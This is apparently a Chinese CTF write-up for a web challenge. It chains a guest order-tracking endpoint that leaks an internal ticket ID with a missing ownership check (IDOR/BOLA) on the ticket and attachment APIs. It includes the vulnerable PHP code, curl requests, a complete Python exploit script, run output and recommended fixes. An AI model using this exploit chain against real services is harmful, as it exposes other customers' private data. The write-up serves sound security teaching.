| 项目 | 内容 |
|---|---|
| 分类 / 难度 | Web / Easy-Medium |
| 类型 | 越权访问(IDOR / BOLA)+ 业务投影泄露内部标识 |
| 登录 | alice / alice123(普通客户) |
| 目标 | 读取客服工单附件里的"安全审查令牌" |
1. 界面与初始观察
打开首页是“OrderHub 客服门户”。登录后看到自己的工作台:我的订单、配送进度、客服工单。
后台接口速览(F12 → Network):
GET /api/me 当前用户
GET /api/orders 我的订单列表
GET /api/orders/<id> 订单详情
GET /api/support/track?order_id= 配送查询(注意:这个不需要登录)
GET /api/tickets/<id> 工单详情
GET /api/tickets/<id>/attachments/<aid> 工单附件
POST /api/login 登录
用户 alice 的 id = 101,能看到的订单只有 10001。
{"ok":true,"user":{"id":101,"username":"alice","name":"Alice Zhang","role":"customer"*/>}}
2. 第一步:先试一眼"隔壁订单"
最直觉的做法是改订单号。Alice 的订单是 10001,那就试 10002:
curl -b cookie.txt http://target/api/orders/10002
HTTP/1.1 403 Forbidden
{"error":"无权访问"}
被拦住了。 订单详情接口在服务端做了属主校验:
if (preg_match('#^/api/orders/(\d+)$#', $path, $m) && $method === 'GET') {
$u = require_auth();
$order = $data['orders'][(int)$m[1]] ?? null;
if ($order['owner_id'] !== $u['id']) {
json_response(['error' => '无权访问'], 403);
}
...
}
这说明"直接改 ID 读别人订单"这条最直觉的路是走不通的——/api/orders/<id> 对属主做了校验。得换一个入口。
3. 第二步:找不需要登录却能"看见"订单的地方
回头看首页——有一个"游客查件"框,不登录也能查物流:
GET /api/support/track?order_id=10002
{
"order_id": 10002,
"status": "已完成",
"carrier": "YQHL Express",
"support_ticket_id": 793411,
"note": "游客查询只需订单号。"
}
问题来了:这个接口没有登录校验(require_auth() 根本没调用),
而且返回的 JSON 里除了物流状态,还夹带了一个 support_ticket_id ——
这是内部工单主键,本不该出现在面向游客的响应里。
这就是本题的第一个漏洞:业务对象投影(projection)泄露内部关联标识。
if ($path === '/api/support/track' && $method === 'GET') {
$orderId = (int)($_GET['order_id'] ?? 0);
$order = $data['orders'][$orderId] ?? null;
if (!$order) { json_response(['error' => '订单不存在'], 404); }
json_response([
'order_id' => $order['id'],
'status' => $order['status'],
'carrier' => 'YQHL Express',
'support_ticket_id' => $order['support_ticket_id'], /* ← 多给了 */
'note' => '游客查询只需订单号。',
]);
}
工单 ID 是初始化时随机生成的(本题实测
793411),每个实例不同, 不要硬编码,必须用当前响应返回的那个值。
4. 第三步:用拿到的工单 ID 直接读
现在有了 support_ticket_id = 793411,保持 Alice 的登录态去读:
GET /api/tickets/793411
{
"id": 793411,
"owner_id": 102,
"subject": "企业迁移",
"status": "内部",
"messages": [
{"author": "bob", "body": "请发送部署包。"},
{"author": "support","body": "内部包编号:DEPLOY-2026-ALPHA。"}
],
"attachment_ids": [90001, 90002]
}
owner_id: 102 —— 这是 Bob 的工单,不是 Alice 的。但接口返回了 200。
看代码:
if (preg_match('#^/api/tickets/(\d+)$#', $path, $m) && $method === 'GET') {
require_auth(); /* ← 只检查"登录了没" */
$id = (int)$m[1];
$ticket = $data['tickets'][$id] ?? null;
if (!$ticket) { json_response(['error' => '工单不存在'], 404); }
...
json_response($copy); /* ← 没检查 $ticket['owner_id'] === $u['id'] */
}
只校验了身份(authentication),没校验授权(authorization)。 这就是第二个漏洞:BOLA / IDOR —— 直接对象引用缺少属主校验。
顺便注意一个细节:正常访问 /api/orders 时列表是过滤过的,
只返回 owner_id === $u['id'] 的订单,所以 Alice 在自己的工单列表里看不到 Bob 的单子。
这不是"列表过滤失效",而是"详情接口没跟上列表的规则"——这种不一致是现实中最常见的越权来源。
5. 第四步:读附件拿 Flag
工单里给了两个附件 ID:90001 和 90002。
GET /api/tickets/793411/attachments/90001
{"id":90001,"name":"deployment-notes.txt",
"content":"迁移清单\n目标: edge-control.internal\n服务账号: deploy-bot\n"}
GET /api/tickets/793411/attachments/90002
{"id":90002,"name":"customer-export.txt",
"content":"内部导出标记\n安全审查令牌: flag{local_verify_w01}\n"}
拿到 Flag。
附件接口的校验逻辑
if (preg_match('#^/api/tickets/(\d+)/attachments/(\d+)$#', $path, $m) && $method === 'GET') {
require_auth();
$ticket = $data['tickets'][(int)$m[1]] ?? null;
$attachment = $ticket['attachments'][(int)$m[2]] ?? null;
if (!$attachment) { json_response(['error' => '附件不存在'], 404); }
json_response($attachment);
}
这里确实校验了"附件属于 URL 里的工单"($ticket['attachments'][$aid] 查表),
但没有校验"这个工单属于我"。所以只要第一步拿到了别人的工单 ID,
附件就是一路绿灯。
6. 完整 Exp
#!/usr/bin/env python3
import json, sys, urllib.request, http.cookiejar
BASE = sys.argv[1] # 例:http://target:8080
cj = http.cookiejar.CookieJar()
op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
def req(path, method="GET", data=None):
h = {"Content-Type": "application/json"}
body = json.dumps(data).encode() if data is not None else None
r = urllib.request.Request(BASE + path, data=body, headers=h, method=method)
try:
with op.open(r, timeout=15) as resp:
return resp.status, resp.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", "replace")
# 1) 以普通客户身份登录
st, b = req("/api/login", "POST", {"username": "alice", "password": "alice123"})
print("[login]", st, b[:120])
# 2) 负例:别人的订单详情应该 403
st, b = req("/api/orders/10002")
print("[orders/10002]", st, b) # 期望 403
# 3) 游客查件接口泄露 support_ticket_id
st, b = req("/api/support/track?order_id=10002")
print("[track]", st, b)
ticket_id = json.loads(b)["support_ticket_id"]
# 4) 用泄露的工单 ID 越权读详情
st, b = req("/api/tickets/%d" % ticket_id)
print("[ticket]", st, b)
# 5) 读附件
for aid in json.loads(b).get("attachment_ids", [90002]):
st, b = req("/api/tickets/%d/attachments/%d" % (ticket_id, aid))
print("[attach %d]" % aid, st, b)
if "flag{" in b:
break
7. 实际验证
节点一次性容器(lj-web-01-trap:v1,-p 29951:8080):
[login] 200 {"ok":true,"user":{"id":101,"username":"alice",...*/>}}
[orders/10002] 403 {"error":"无权访问"}
[track] 200 {"order_id":10002,...,"support_ticket_id":793411,...}
[ticket] 200 {"id":793411,"owner_id":102,"subject":"企业迁移",...
[attach 90002] 200 {"id":90002,"name":"customer-export.txt",
"content":"内部导出标记\n安全审查令牌: flag{...}\n"}
8. 踩坑记录
| 现象 | 原因 | 处理 |
|---|---|---|
一上来 GET /api/orders/10002 就 403,以为题坏了 |
订单详情确实有属主校验,正面打不进去 | 换思路:找别的入口 |
| 硬编码 writeup 里的工单 ID 返回 404 | 工单 ID 是首次初始化时随机生成的,每个实例/每次重建都不同 | 必须从 /api/support/track 的响应里动态取 |
想直接读 /api/tickets/1、/api/tickets/2 爆破 |
工单 ID 是 6 位数随机(如 793411),爆破不现实 |
走 track 拿真实 ID |
用未登录状态访问 /api/tickets/<id> |
工单/附件接口有 require_auth() |
必须保持 Alice 的会话 |
| 请求被 CSRF 拦 | GET 请求根本不需要 CSRF token(CSRF 只对写操作有意义);写操作得先从 /api/session 取 token |
纯 GET 链路不受影响 |
9. 复盘:真正该怎么修
这不是"随机 ID 不够随机"的问题,工单 ID 已经是随机的了。根因是:
- 公共投影混入内部标识 ——
/api/support/track是给游客用的,返回体里就不该有support_ticket_id这类内部主键。修复:从投影里删掉该字段; - 对象级授权缺失 ——
/api/tickets/<id>和/api/tickets/<id>/attachments/<aid>只做了require_auth(),没做$ticket['owner_id'] === $u['id'] || $u['role'] === 'support'。 修复:把写操作(回复/上传/改状态)里已有的属主校验规则,原样补到所有读入口; - 规则不统一 —— 列表接口过滤了,详情接口没过滤。修复:抽出统一的
can_read_ticket($user, $ticket)判定函数,所有入口共用。
真实项目里这三条经常同时存在,因为"读接口"往往是后加的、由不同的人写的。
10. 一句话总结
游客查件接口把内部工单主键一起吐了出来,工单接口又把"登录"当成了"有权", 两个小疏忽串起来就能跨客户读附件。随机 ID 不能代替对象级授权。